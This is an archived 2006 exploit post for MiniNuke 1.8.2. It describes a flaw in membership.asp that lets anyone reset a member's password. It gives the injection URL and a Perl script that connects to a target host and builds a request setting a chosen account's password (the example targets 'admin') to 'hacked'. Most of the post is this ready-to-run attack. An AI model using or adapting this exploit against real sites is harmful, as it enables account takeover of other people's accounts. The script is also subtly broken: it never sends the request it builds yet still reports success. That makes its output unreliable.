Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11231
HistoryJan 30, 2006 - 12:00 a.m.

[xpl#2] MiniNuke 1.8.2 - change member's passwrod < Perl >

2006-01-3000:00:00
vulners.com
16

I create exploit for a bug at Mininuke ; this bug at "membership.asp"
and you can with this exploit change members password :)
if you inject:
" /membership.asp&pass=[New password]&passa=[confirm new password]&x=[member name] "
This bug found by nukedx & exploit by Hessam-x


  • APP name : Mininuke
  • Version : 1.8.2
  • exploit by: Hessam-x
  • Type : High
  • Des : with this exploit you can change user's password
  • IHST - Iran Hackerz Security Team (Hackerz.ir)
  • KuT - Kachal667 under9round team (Kachal667.com)

Exploit type : Perl
[-- PERL C0DE --]

#!/usr/bin/perl
#--------------------------------------------------------#
#- => Mininuke 1.8.2
#- Founder nukedx & Exploit by Hessam-x
#- www.Hackerz.ir Iran Hackers Security Team
#- Hessam-x <> irc0d3r|at|Yahoo.com
#- Spescial Thanx : all iranian Hackers & Str0ke
#- IR4N H4CK3RZ S3CURITY T34M
#--------------------------------------------------------#

This bug at Membership.asp

use IO::Socket;

if (@ARGV < 1)
{
print "\n============================================\n";
print "\n IRAN HACKERZ SECURITY TEAM \n";
print "\n============================================\n";
print "\n ";
print "\n MININUKE 1.8.2 ";
print "\n Exploit by Hessam-x & Found by nukedx ";
print "\n www.Hackerz.ir Iran Hackers Security Team ";
print "\n ";
print "\n============================================\n";
print "Usage : minimuke.pl [HOST] [Member name]\n\n";

print "Examples:\n\n";
print " mininuke.pl www.Site.com admin \n";
exit();
}

my $host = $ARGV[0];
my $usero= $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "Cannot connect to $host" }

print "[+]connected\n";

$addr = "GET /membership.asp?pass=hacked&passa=hacked&x=$usero&B1=Send HTTP/1.0\n";
$addr .= "Host: $host\n\n\n\n";
print "\n";
print "[+]Wait…";
sleep(5);
print "Wait For Changing Password …\n";
print "[+] :D OK \n";
print "Username: $usero\n";
print "Password: hacked\n\n";

[/-- PERL CODE --]

Hessam-x (Hessam M.Salehi)- www.hessam.org